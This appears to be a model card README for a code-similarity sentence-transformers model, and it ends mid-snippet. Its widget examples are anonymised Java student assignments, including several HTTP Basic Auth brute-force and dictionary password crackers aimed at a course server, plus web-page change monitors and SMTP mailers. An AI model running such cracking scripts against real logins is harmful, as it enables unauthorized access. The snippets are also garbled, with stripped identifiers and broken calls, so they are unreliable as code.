README.md

metadata

tags:
  - sentence-transformers
  - sentence-similarity
  - feature-extraction
  - generated_from_trainer
  - dataset_size:16705
  - loss:SoftmaxLoss
base_model: microsoft/unixcoder-base-unimodal
widget:
  - source_sentence: "\n\nimport java.awt.*;\nimport java.String;\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\n\n\npublic class BruteForce\n{\n   private URL url;\n   private HttpURLConnection connection ;\n   private  int stopTime = 0;\n   private  int startTime = 0;\n   private  int count = 0;\n\n   public BruteForce()\n   {\n      System.out.println(\"Process is running...\");\n      startTime = System.currentTimeMillis();\n      threeLetters();\n      twoLetters();\n   }\n\n   public static void main (String args[])\n   {\n      BruteForce bf = new BruteForce();\n   }\n   \n   public void threeLetters()\n   {\n      String s1;\n      char [] a = {'a','a','a'};\n\n      for (int i0 = 0; i0 < 26; i0++)\n      {\n         for (int i1 = 0; i1 < 26; i1++)\n         {\n            for (int i2 = 0; i2 < 26; i2++)\n            {\n               s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) +\n\t\t            String.valueOf((char)(a[2] + i2));\n               decision(s1);\n               count++;\n\n               s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) +\n                    (String.valueOf((char)(a[2] + i2))).toUpperCase();\n               decision(s1);\n               count++;\n\n               s1 = String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase() +\n                    (String.valueOf((char)(a[2] + i2))).toUpperCase();\n               decision(s1);\n               count++;\n\n               s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n                    (String.valueOf((char)(a[1] + i1))).toUpperCase() +\n                    (String.valueOf((char)(a[2] + i2))).toUpperCase();\n               decision(s1);\n               count++;\n\n               s1 = (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase() +\n                    String.valueOf((char)(a[2] + i2));\n               decision(s1);\n               count++;\n\n               s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +\n\t\t            String.valueOf((char)(a[2] + i2));\n               decision(s1);\n               count++;\n\n               s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +\n                    (String.valueOf((char)(a[2] + i2))).toUpperCase();\n               decision(s1);\n               count++;\n\n               s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n                    (String.valueOf((char)(a[1] + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2));\n               decision(s1);\n               count++;\n            }\n         }\n      }\n   }\n   \n   public void twoLetters()\n   {\n      String s1;\n      char [] a = {'a','a'};\n\n      for (int i0 = 0; i0 < 26; i0++)\n      {\n         for (int i1 = 0; i1 < 26; i1++)\n         {\n            s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1));\n            decision(s1);\n            count++;\n\n            s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)).toUpperCase();\n            decision(s1);\n            count++;\n\n            s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n                 (String.valueOf((char)(a[1] + i1))).toUpperCase();\n            decision(s1);\n            count++;\n\n            s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1));\n            decision(s1);\n            count++;\n         }\n      }\n   }\n\n   \n   public void decision(String s1)\n   {\n      if (find(s1) == 200)\n      {\n         stopTime = System.currentTimeMillis();\n          runTime = stopTime - startTime;\n         System.out.println(\"***************************************\");\n         System.out.println(\"\\nAttack successfully\");\n         System.out.println(\"\\nPassword is: \" + s1);\n         System.out.println(\"\\nThe contents of the Web site: \");\n         displayContent(s1);\n         System.out.println(\"\\nTime taken  crack: \" + runTime + \" millisecond\");\n         System.out.println(\"\\nNumber of attempts: \" + count);\n         System.out.println();\n\n         System.exit(0);\n      }\n   }\n   \n   \n   public int find(String s1)\n   {\n      int responseCode = 0;\n      try\n      {\n         url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n         connection = (HttpURLConnection)url.openConnection();\n\n         connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + s1));\n\n         responseCode = connection.getResponseCode();\n\n      }catch (Exception e)\n      {\n          System.out.println(e.getMessage());\n      }\n      return responseCode;\n   }\n\n   \n   public void displayContent(String pw)\n   {\n      BufferedReader bw = null ;\n      try\n      {\n         url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n         connection = (HttpURLConnection)url.openConnection();\n\n         connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + pw));\n         InputStream stream = (InputStream)(connection.getContent());\n         if (stream != null)\n         {\n             InputStreamReader reader = new InputStreamReader (stream);\n             bw = new BufferedReader (reader);\n             String line;\n\n             while ((line = bw.readLine()) != null)\n             {\n                System.out.println(line);\n             }\n        }\n      }\n      catch (IOException e)\n      {\n         System.out.println(e.getMessage());\n      }\n   }\n}\n\n\n\n\n"
    sentences:
      - |-

        import java.io.*;
        import java.net.Socket;
        import java.util.*;

        public class Email
        {
             private String hello;
             private String mailFrom="";
             private String mailTo="";
             private String mailData="";
             
             private String subject="";
             private String content="";
             private String follows="";
             private String changeContent="";
             private String stop="";
             private String end="";
             private String line="";
             private InputStream is;
             private BufferedReader bf;
             private OutputStream os;
             private PrintWriter pw;
             public Email(Vector change)  throws Exception
             {
              hello= "HELO mail.rmit.edu.";
              mailFrom = "MAIL FROM: @cs.rmit.edu.";
              mailTo = "RCPT : @cs.rmit.edu.";
              mailData = "DATA";
              subject="Subject: Some changes occur";
              content=" is some changes  the : http://www.cs.rmit.edu./students/";
              follows="The changes  as follows:";
              for(int i=0;i<change.size();i++)
                changeContent+=change.elementAt(i).toString()+"\r\n";
              stop ="\r\n.";
              end="QUIT";
             }
             public void send() throws Exception
             {
              Socket sk = new Socket("mail.cs.rmit.edu.",25);
              is= sk.getInputStream();
              os = sk.getOutputStream();
              pw = new PrintWriter(new OutputStreamWriter(os));
              pw.println(hello);
              pw.println(mailFrom);
              pw.println(mailTo);
              pw.println(mailData);
              pw.println();
              pw.println(subject);
              pw.println(content);
              pw.println(follows);
              pw.println(changeContent);
              pw.println(stop);
              pw.println(end);
              pw.flush();
              pw.get();
              
             }
        }
      - |+

        import java.awt.*;
        import java.awt.event.*;
        import java.io.*;
        import java.util.*;
        import java.net.*;

        public class Dictionary
        {
           private String userPassword;
           private static int counter;





           public Dictionary(String username)
           {
            String user;
            String password;
            counter = 0;
            user = username;

                  try
                  {
                    FileReader fr = new FileReader( "/usr/share/lib/dict/words" );
                    BufferedReader bf = new BufferedReader( fr );

                      while ((password = bf.readLine()) != null)
                      {
                          userPassword = user + ":" + password;

                           System.out.print(".");

                             if (password.length() == 3)
                                 if (doEncoding(userPassword)== true)
                                 {
                                    System.out.println(password);
                                    return;
                                }

                          counter++;
                       }
                  }
                  catch ( IOException ioe )
                  {
                    System.err.println( ioe.toString() );
                  }
           }




           private boolean doEncoding(String userPassword)
           {
               String encoding = new misc.BASE64Encoder().encode (userPassword.getBytes());
               return doAttempt(encoding);
           }





           private boolean doAttempt (String encoding)
           {

              try
              {
                 URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");

                 URLConnection uc = url.openConnection();
                 uc.setDoInput(true);
                 uc.setDoOutput(true);

                 uc.setRequestProperty  ("Get", "/SEC/2/ " + "HTTP/1.1");
                 uc.setRequestProperty  ("Host", "sec-crack.cs.rmit.edu.");
                 uc.setRequestProperty  ("Authorization", " " + encoding);

                 return uc.getHeaderField(0).trim().equalsIgnoreCase("HTTP/1.1 200 OK");
               }
               catch (MalformedURLException e)
               {
                 System.out.println ("Invalid URL");
               }
               catch (IOException e)
               {
                 System.out.println (e.toString() );
               }

               return false;
           }





          public static void  main(String args[])
           {
             Date sdate = new Date();
             System.out.print("Starting the Ditionary Attack at:" + sdate + "\n");

             Dictionary bf = new Dictionary(args[0]);

             Date edate = new Date();
             System.out.print("Ditionary Attack ends at:" + sdate + "\n");
             System.out.println("Time taken by Dictionary is : " + (edate.getTime() - sdate.getTime())/1000 + " seconds \n");
             System.out.print("Attempts  in this session:" + counter + "\n");

           }
        }




      - "\n\n\nimport java.text.*;  \nimport java.util.*;  \nimport java.net.*;  \nimport java.io.*;  \n\n  \npublic class BruteForce {  \n\n   public int runProcess(String urlString,String passwd) {  \n\n       int returnval = 0;\n       MyAuthenticator auth = new MyAuthenticator(passwd);\n       Authenticator.setDefault(auth);\n\n\t       System.out.println(\"trying passord: \" + passwd);\n       try{\n            URL yahoo = new URL(urlString); \n            BufferedReader in = new BufferedReader(new InputStreamReader(yahoo.openStream()));\n            String inputLine;\n            while ((inputLine = in.readLine()) != null) {\n\t       System.out.println(inputLine);\n\t       System.out.println(\"passord: \" + passwd);\n               returnval = 1;\n            }\n\t    in.close();\n          }catch(Exception e){ returnval = 0;}\n       return returnval;\n   }\n\n   public static void  main(String argv[]) {  \n\n       String[] val = \n{\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\"};\n\n      int l1 = 0;\n\n      int l2 = 0;\n\n      int l3 = 0;\n      \n      int retval = 0;\n\n      String pwd = \"\";\n\n      \n      BruteForce s = new BruteForce();  \n      String urlToSearch = \"http://sec-crack.cs.rmit.edu./SEC/2/\";  \n    \n      for (int a = 0; a < 52; a++) {\n\n        l1 = a;\n\n        pwd = val[l1];\n        retval = 0;\n        retval = s.runProcess(urlToSearch,pwd);  \n        if (retval > 0) {\n           System.exit(0);\n        }\n      }\n\n\n      for (int b = 0; b < 52; b++) {\n        l1 = b;\n        for (int c = 0; c < 52; c++) {\n\n          l2 = c;\n          pwd = val[l1]+ val[l2];\n          retval = 0;\n          retval = s.runProcess(urlToSearch,pwd);  \n          if (retval > 0) {\n             System.exit(0);\n          }\n        }\n      }\n\n\n      for (int d = 0; d < 52; d++) {\n        l1 = d;\n        for (int e = 0; e < 52; e++) {\n          l2 = e;\n          for (int f = 0; f < 52; f++) {\n\n              l3 = f;\n\n              pwd = val[l1]+ val[l2]+ val[l3];\n              retval = 0;\n              retval = s.runProcess(urlToSearch,pwd);  \n              if (retval > 0) {\n                 System.exit(0);\n              }\n           }\n        }\n      }\n\n    }  \n}     \n\n"
  - source_sentence: |+







      import java.io.*;
      import java.lang.Object;

      public class WatchDog
      {

         
         public static void main(String args[])throws Exception
         {
              Process p1,p2,p3,p4,p5;
              
              for(;;)
              {
                

                String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"Part 2-Assignment2 \"  < change.html"};
                String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* predir"};
                String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* predir"};
                String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* postdir"};
                String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* postdir"};
                String s6[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};


                Process p = Runtime.getRuntime().exec("mkdir predir");
                p.waitFor();
                Process p1 = Runtime.getRuntime().exec("mkdir postdir");
                p1.waitFor();

                
                p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
                p1.waitFor();

                Process q2 = Runtime.getRuntime().exec(s2);
                q2.waitFor();
                Process q3 = Runtime.getRuntime().exec(s3);
                q2.waitFor();

                
                Thread.sleep(86400000);

                p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");
                p3.waitFor();

                Process q4 = Runtime.getRuntime().exec(s4);
                q4.waitFor();
                Process q5 = Runtime.getRuntime().exec(s5);
                q5.waitFor();

                try
                {
                  String str;
                  p4 = Runtime.getRuntime().exec(s6);
                  DataInputStream inp1 = new DataInputStream(p4.getInputStream());
                  p4.waitFor();
                  
                  System.out.println("The WatchDog - Returns 0 if  change  else 1");
                  System.out.println("Value :" + p4.exitValue());
                  try
                  {
                      while ((str = inp1.readLine()) != null)
                      {
                          System.out.println(str);
                      }
                  }
                  catch (IOException e)
                  {
                      System.exit(0);
                  }

                }
                catch(FileNotFoundException e )
                {
                    e.printStackTrace();
                }

                BufferedReader in = new BufferedReader(new FileReader("change.html"));
                
                if (in.readLine() != null)
                {

                try
                {
                  String str1;
                  p5 = Runtime.getRuntime().exec(s1);
                  DataInputStream inp2 = new DataInputStream(p5.getInputStream());
                  p5.waitFor();
                try
                  {
                      while ((str1 = inp2.readLine()) != null)
                      {
                          System.out.println(str1);
                      }
                  }
                  catch (IOException e1)
                  {
                      System.exit(0);
                  }

                }
                catch(FileNotFoundException exp)
                {
                    exp.printStackTrace();
                }

              }
          }
        }
      }

    sentences:
      - |-
        import java.util.*;
        import java.io.*;
        import javax.swing.text.html.*;


        public class WatchDog {

          public WatchDog() {

          }
          public static void main (String args[]) {
            DataInputStream newin;

            try{
              System.out.println("ishti");

              System.out.println("Downloading first copy");
              Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");
              String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};
              String[] cmdMail = {"//sh", "-c", "mailx -s \"Diffrence\" \"@cs.rmit.edu.\" < Diff.txt"};
              while(true){
                    Thread.sleep(24*60*60*1000);
                    System.out.println("Downloading new copy");
                    Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");
                    Thread.sleep(2000);
                    Runtime.getRuntime().exec(cmdDiff);
                    Thread.sleep(2000);
                    newin = new DataInputStream( new FileInputStream( "Diff.txt"));
                    if (newin.readLine() != null){
                       System.out.println("Sending Mail");
                       Runtime.getRuntime().exec(cmdMail);
                       Runtime.getRuntime().exec("cp newfile.html oldfile.html");

                    }
                }

            }
            catch(Exception e){
              e.printStackTrace();
            }

            }

        }
      - "\nimport java.net.*;\nimport java.*;\nimport java.io.*;\nimport java.util.GregorianCalendar;\npublic class Dictionary\n{\n\n\n\n    public void crackAddress(String fileName) throws Exception\n    {\n       String line,username=\"\",passwd,pass;\n       int flag=0,i;\n       BufferedReader bf = new BufferedReader(new FileReader(fileName));\n       Runtime run = Runtime.getRuntime();\n       GregorianCalendar =new GregorianCalendar();\n       while((passwd=bf.readLine().trim())!=null)\n       {\n           if((i=passwd.indexOf(\"\\'\"))!= -1)\n                 {\n                    passwd =passwd.substring(0,i)+(\"\\\\\")+(passwd.substring(i,passwd.length()));\n                 }\n\n          System.out.println(\"Hack password with the word:\"+passwd);\n\t      String command_line = \"lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth=\"+username+\":\"+passwd+\" -dump\";\n\t      Process result = run.exec(command_line);\n          BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));\n\n        while((line=bf.readLine())!=null)\n        {\n           flag=1;\n           break;\n\n        }\n        if(flag==1)\n        {\n           System.out.println(\"The username is: \"+username+\" The password is: \"+passwd);\n           break;\n        }\n       }\n       GregorianCalendar end=new GregorianCalendar();\n       double time = (double)(end.getTimeInMillis()-System.getTimeInMillis())/1e3;\n       System.out.println(\"The attack use\"+time+\" seconds.\");\n    }\n\npublic static void main(String args[]) throws Exception\n{\n   Dictionary ds = new Dictionary();\n   ds.crackAddress(args[0]);\n}\n}"
      - |
        import java.*;
        import java.io.*;
        public class C
        {
            public static void main (String [] args){
            try{
                
                int m=0,n=0,w=0;
                String file = "passwd.";
                char ch1='A',ch2='A',ch3='A';
                for(int i = 0 ; i < 26; i++ )
                {
                  for(w=0;w<2;w++)
                  {
                   if (w==1)
                    i+=32;
                   for(int j = 0; j< 26 ; j++)
                   {
                    for(n=0;n<2;n++)
                    {
                      if(n==1)
                        j+=32;
                    for(int k = 0; k<26 ; k++)
                       {
                         for(m=0; m<2; m++)
                         {
                           if(m==1)
                            k+=32;
                            char data[] = {(char)(i+ch1), (char)(j+ch2), (char)(k+ch3)};
                            String str = new String(data);
                            System.out.println(str);
                            FileWriter fr1 = new FileWriter(file,true);
                            BufferedWriter in1 = new BufferedWriter(fr1);
                            in1.write(str);
                            in1.newLine();
                            in1.print();
                           if (k>=31)
                               k-=32;
                             }
                        }
                     if(j>=31)
                      j=j-32;
                      }
                   }
                   if(i>=31)
                      i-=32;
                      }
                }
        }
        catch(IOException e)
        {
          System.out.println("try");
        }
        }
        }
  - source_sentence: "\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println(\"IO Error : \" + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println(\"Error: \" + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + \" is not a parseable URL\");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff(\"@.rmit.edu.\");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = \"diff test1.txt test2.txt\";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File(\"diff.txt\");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream(\"diff.txt\",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println(\"IO Error : \" + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+\"\\n\");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader(\"diff.txt\");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String(\"  some changes  the web  as followed: \\n\");\n                \n                Socket s = new Socket(\"wombat.cs.rmit.edu.\", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send(\"HELO cs.rmit.edu.\");\n                send(\"MAIL FROM: @.rmit.edu.\");\n                \n                send(\"RCPT : @.rmit.edu.\");\n                send(\"DATA\");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(\"\"+line2+\"\\n\");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(\".\");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println(\"File not found\");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println(\"IO Error \" + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + \"\\n\");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}"
    sentences:
      - |
        import java.io.*;
        import java.net.*;











        public class BruteForce
        {
           private String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
           private static String password;
           private static int length;          
           private static int t_counter;       
           private static int f_counter;       
                                               
           private static int cases;           
                                               
           private static int respCode;        

           public BruteForce()
           {
              Authenticator.setDefault(new BruteForceAuthenticator());
              t_counter = 0;
              f_counter = 0;
              cases = 0;
           }

           public static void main (String[] args)
           {
              BruteForce bf = new BruteForce();
              String file = " ";
              while(respCode != 200)
              {
                 file = bf.fetchURL();
              }
              System.out.println("Number of attempts: " + t_counter);
              System.out.println("Password: " + password);
              System.out.println(file);
           }

           private String fetchURL()
           {
              StringWriter sw = new StringWriter();
              PrintWriter pw = new PrintWriter();

              try
              {
                 URL url = new URL(urlString);
                 HttpURLConnection huc = (HttpURLConnection)url.openConnection();
                 respCode = huc.getResponseCode();
                 InputStream content = huc.getInputStream();
                 BufferedReader in = 
                    new BufferedReader (new InputStreamReader (content));
                 String line;
                 while ((line = in.readLine()) != null) 
                 {
                    pw.println(line);
                 }
              } catch (IOException e) {
                 pw.println("Error  URL");
              }
              return sw.toString();
           }
                    
           class BruteForceAuthenticator extends Authenticator 
           {
              private String username = "";

              protected PasswordAuthentication getPasswordAuthentication()
              {
                 return new PasswordAuthentication(username,generatePassword());
              }

              protected char[] generatePassword()
              {
                 int i,j,k;
                 int n = 26;
                 String letters1 = "qwertyuiopasdfghjklzxcvbnm";
                 String letters2 = "abcdefghijklmnopqrstuvwxyz";
         
                 i=0;
                 j=0;
                 k=0;
           
                 
                 
                 if(t_counter == 0)
                 {
                    length = 1;
                    cases = 0;
                    f_counter = 0;
                 }
                 if(t_counter == 2*n)
                 {
                    length = 2;
                    cases = 0;
                    f_counter = 0;
                 }
                 if(t_counter == (2*n + 4*n*n))
                 {
                    length = 3;
                    cases = 0;
                    f_counter = 0;
                 }

                 char c[] = new char[length];

                 
                 
                 if(length == 1)
                 {
                    if(f_counter == n)
                    {
                       cases++;
                       f_counter = 0;
                    }
                    i = f_counter;

                 } else if(length == 2) 
                 {
                    if(f_counter == n*n)
                    {
                       cases++;
                       f_counter = 0;
                    }
                    i = f_counter/n;
                    j = f_counter - i*n;

                 } else if(length == 3) 
                 {
                    if(f_counter == n*n*n)
                    {
                       cases++;
                       f_counter = 0;
                    }
                    i = f_counter/(n*n);
                    j = (f_counter - i*n*n)/n;
                    k = f_counter - i*n*n - j*n;
                 }

                 
                 switch(cases)
                 {
                    case 0:
                       c[0] = letters1.charAt(i);
                       if(length > 1) c[1] = letters1.charAt(j);
                       if(length > 2) c[2] = letters1.charAt(k);
                       break;
                    case 1:
                       c[0] = Character.toUpperCase(letters1.charAt(i));
                       if(length > 1) c[1] = Character.toUpperCase(letters1.charAt(j));
                       if(length > 2) c[2] = Character.toUpperCase(letters1.charAt(k));
                       break;
                    case 2:
                       c[0] = Character.toUpperCase(letters1.charAt(i));
                       c[1] = letters1.charAt(j);
                       if(length > 2) c[2] = letters1.charAt(k);
                       break;
                    case 3:
                       c[0] = letters1.charAt(i);
                       c[1] = Character.toUpperCase(letters1.charAt(j));
                       if(length > 2) c[2] = letters1.charAt(k);
                       break;
                    case 4:
                       c[0] = letters1.charAt(i);
                       c[1] = letters1.charAt(j);
                       c[2] = Character.toUpperCase(letters1.charAt(k));
                       break;
                    case 5:
                       c[0] = Character.toUpperCase(letters1.charAt(i));
                       c[1] = Character.toUpperCase(letters1.charAt(j));
                       c[2] = letters1.charAt(k);
                       break;
                    case 6:
                       c[0] = letters1.charAt(i);
                       c[1] = Character.toUpperCase(letters1.charAt(j));
                       c[2] = Character.toUpperCase(letters1.charAt(k));
                       break;
                    case 7:
                       c[0] = Character.toUpperCase(letters1.charAt(i));
                       c[1] = letters1.charAt(j);
                       c[2] = Character.toUpperCase(letters1.charAt(k));
                       break;
                    default:
                       break;
                 }

                 f_counter++;
                 t_counter++;

                 password = new String(c);
                 return c;
              }
           }
        }
      - "\nimport java.net.*;\nimport java.io.*;\nimport java.Ostermiller.util.*;\nimport java.util.*;\n\npublic class MyClient2 implements Runnable\n{\n   private String hostname;\n   private int port;\n   private String filename;\n   private Socket s;\n   private int n;\n   private InputStream sin;\n   private OutputStream sout;\n   private int dif;\n   private String myPassword;\n   private int status;\n   private int myTime;\n   private BruteForce myMaster;\n   \n\n   public MyClient2(BruteForce bf , int num, int myPort, String password)\n   {\n      \n      hostname = new String(\"sec-crack.cs.rmit.edu.\");\n      port = myPort;\n      status = 0;\n      myTime = 0;\n      myPassword = password;\n      filename = new String(\"/SEC/2/\");\n      myMaster = 0;\n      n = num;\n      dif = 0;\n      \n   }\n   public  getDif()\n   {\n      return dif;\n   }\n   public int getStatus()\n   {\n      return status;\n   }\n   public void run() \n   {\n      String inputLine;\n      String[] tokens = new String[5];\n      int i;\n       myTime = 0;\n       finish = 0;\n      start = System.currentTimeMillis();\n      try\n      {\n         s = new Socket( hostname, port);\n      }catch( UnknownHostException e)\n      {\n         System.out.println(\"'t find host\");\n      }catch( IOException e)\n       {\n          System.out.println(\"Error connecting  host \"+n);\n\t  return;\n       }\n      while(s.isConnected() == false)\n         continue;\n      \n      finish = System.currentTimeMillis();\n      dif = finish - start;\n      \n      try\n      {\n        sin  = s.getInputStream();\n      }catch( IOException e)\n       {\n          System.out.println(\"'t open stream\");\n       }\n      BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));\n      try\n      {\n         sout = s.getOutputStream();\n      }catch( IOException e)\n       {\n          System.out.println(\"'t open stream\");\n       }\n      \n      PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));\n      toServer.print(\"GET \"+filename+\" HTTP/1.0\\r\\n\"+\"Authorization:  \"+Base64.encode(\"\"+\":\"+myPassword)+\"\\r\\n\\r\\n\");\n      toServer.flush();\n      \n      try\n      {\n         inputLine = fromServer.readLine();\n      }catch( IOException e)\n       {\n          System.out.println(\"'t open stream\");\n\t  inputLine = null;\n       }\n      \n      java.util.StringTokenizer  = new java.util.StringTokenizer( inputLine, \" \");\n      i = 0;\n      while(sin.hasMoreTokens())\n      {\n         tokens[i] = sin.nextToken();\n\t i++;\n      }\n      status = Integer.parseInt( tokens[1]);\n      myTime = System.currentTimeMillis();\n      if( status == 200)\n      {\n         System.out.println(\"Ok \"+myPassword);\n\t myMaster.retire( this);\n      }\n     \n      toServer.send();\n      try\n      {\n         fromServer.receive();\n      }catch( IOException e)\n       {\n          System.out.println(\"'t open stream\");\n       }\n      try\n      {\n         s.connect();\n      }catch( IOException e)\n       {\n          System.out.println(\"'t  connection\");\n\t  System.exit(0);\n       }\n   }\n   public  getTime()\n   {\n      return myTime;\n   }\n  \n}\n"
      - "\nimport java.net.*; \nimport java.io.*; \npublic class BruteForce {\nprivate static String password=\"   \"; \n\n   \n  public static void main(String[] args) {\n\t   String Result=\"\"; \n\t  if (args.length<1)\n\t\t\t {\n\t\t\t   System.out.println(\"Error:  Correct Format Filename, username e.g<>\"); \n\t\t\t\tSystem.exit(1);\t\n\t\t\t }\n\t\t\t BruteForce bruteForce1 = new BruteForce();\n\t\t\t  Result=bruteForce1.Password(\"http://sec-crack.cs.rmit.edu./SEC/2/\",args[0]); \n\t\t\t  System.out.println(\"The Password of   \"+args[0]+\"is..\"+Result);  \n\t\t\t  \n\t\t  }\n\n\n\n private String Password(String urlString,String username) \n { \n int cnt=0;\n \n t0 = System.currentTimeMillis();  \n  for ( char ch = 'A';  ch <= 'z';  ch++ )\n  { \n\t\t\t\t\t\t if (ch>'Z' && ch<'a')\n\t\t\t\t\t\t { \n\t\t\t\t\t\t   ch='a'; \n\t\t\t\t\t\t } \n\t\t\t\t\n\t\t\t\tfor ( char ch1 = 'A';  ch1 <= 'z';  ch1++ )\n\t\t\t\t { \n\t\t\t\t\t  \n\t\t\t\t\t\tif (ch1>'Z' && ch1<'a')\n\t\t\t\t\t\t { \n\t\t\t\t\t\t   ch1='a'; \n\t\t\t\t\t\t }\n\n\n\t\t\t\t\t for ( char ch2 = 'A';  ch2 <= 'z';  ch2++ )\n\t\t\t\t\t\t { \n\t\t\t\t\t\t\tif (ch2>'Z' && ch2<'a')\n\t\t\t\t\t\t { \n\t\t\t\t\t\t   ch2='a'; \n\t\t\t\t\t\t }\n\t\t\t\t\t\t\tpassword=String.valueOf(ch)+String.valueOf(ch1)+String.valueOf(ch2);\n\t\t\t\t\t\t\t\tSystem.out.print(\"crackin...:\"); \n\t\t\t\t\t           \tSystem.out.print(\"\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\" ); \n\t\t\t\t\t\ttry\n\t\t\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tURL url = new URL (urlString);\n\t\t\t\tString userPassword=username+\":\"+password;  \n\n       \n\t\t   String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\t\t\t URLConnection conc= url.openConnection();  \n\t\t\t\t\t   conc.setRequestProperty  (\"Authorization\", \" \" + encoding);\t\t\t   \n\t\t\t\t\t   conc.connect();  